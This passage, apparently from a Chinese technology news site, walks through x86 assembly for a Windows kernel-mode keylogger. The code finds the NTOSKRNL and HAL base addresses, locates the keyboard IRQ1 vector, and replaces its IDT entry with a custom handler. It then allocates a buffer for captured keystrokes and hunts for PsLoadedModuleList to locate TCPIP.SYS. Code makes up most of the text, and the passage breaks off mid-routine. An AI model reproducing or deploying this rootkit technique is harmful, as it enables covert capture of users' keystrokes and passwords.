扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
mov esi, dword ptr ds:[0ffdff038h] ; 取得IDT基地址
lodsd
cdq
lodsd ; 取得NTOSKRNL地址空间的指针
@base_loop:
dec eax
cmp dword ptr [eax], 00905a4dh ; 检测 MZ 标志
jnz @base_loop
jecxz @hal_base ; 把 NTOSKRNL 基地址保存到EAX
xchg edx, eax
mov eax, [edx+590h] ; 取得一个 HAL 函数的指针
xor ecx, ecx
jmp @base_loop ; 寻找HAL的基地址
@hal_base:
mov edi, eax ; 把 HAL 的基地址保存到 EDI
mov ebp, edx ; 把 NTOSKRNL 基地址保存到 EBP
cld
mov eax, 41413d00h ; 标志字节"=AA\0"
xor ecx, ecx
dec cx
shr ecx, 4
repnz scasd ; 取得在IDT表中的偏移值
or ecx, ecx
jz @no_table
lea edi, [edi+01ch] ; 取得相量表的指针
push edi
inc eax ;IRQ 1
repnz scasb
pop esi
sub edi, esi
dec edi ; 取得键盘中断
jmp @table_ok
@no_table:
mov edi, 031h ; 如果相量表不存在,使用静态值
@table_ok:
push edx
sidt [esp-2] ;Get IDT
pop edx
lea esi, [edx+edi*8+4] ; IDT 中键盘处理体入口
std
lodsd
lodsw ; EAX 中为键盘处理体入口地址
mov dword ptr [handler_old], eax ; 保存
首先定位NOSOKRNL和HAL.DLL的基地址,然后在HAL地址空间中搜索“=AA\0”标志,这个双字标志标识着与中断向量表相临的TRQL-TPR转换表的开始。如果找到该标识,我们直接把中断向量设置为0X31;如果没有找到IRQ表,那么所需要的偏移值在IRQ表的0XC1H处。接着我们定位对应于键盘IRQ1的向量,然后用SIDT指令得到IDT的基地址。得到中断向量IDT入口的公式如下:
IDT_BASE+INT_Vector*8
从IDT中取得原始中断处理体的地址,保存在我们处理程序的起始位置,因而当我们的处理程序完成特定功能后可以返回到原始处理程序。下面的代码在IDT中用我们自定义的中断处理体入口替换原始处理程序入口:
cld
mov eax, @handler_new
cli ; 当改写入口地址的时候屏蔽中断
mov [esi+2], ax ; 改写用新的入口地址改写IDT入口
shr eax, 16
mov [esi+8], ax
sti ; 恢复允许中断信号
接下来就调用ExAllocatePool,分配一个缓冲区用于存储已捕获的键盘输入;我们还需要通过分析NTOSKRNL的PsLoadedModuleList来定位TCPIP.SYS的基地址,不幸的是PsLoadedModuleList不是公共的导出函数,因而我们需要手动定位。
NTOSKRNL导出的MmGetSystemRoutineAddress函数就使用了这个链表。
为了取得所需要的指针,我们把MmGetSystemRoutineAddress的地址作为参数并且通过递增该地址来手动定位PsLoadedModuleList。
mov edi, _mmgetsystemroutineaddress
@mmgsra_scan:
inc edi
mov eax, [edi]
sub eax, ebp
test eax, 0FFE00003h
jnz @mmgsra_scan
mov ebx, [edi]
cmp ebx, [edi+5] ; 检测 PsLoadedModuleList 的指针
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。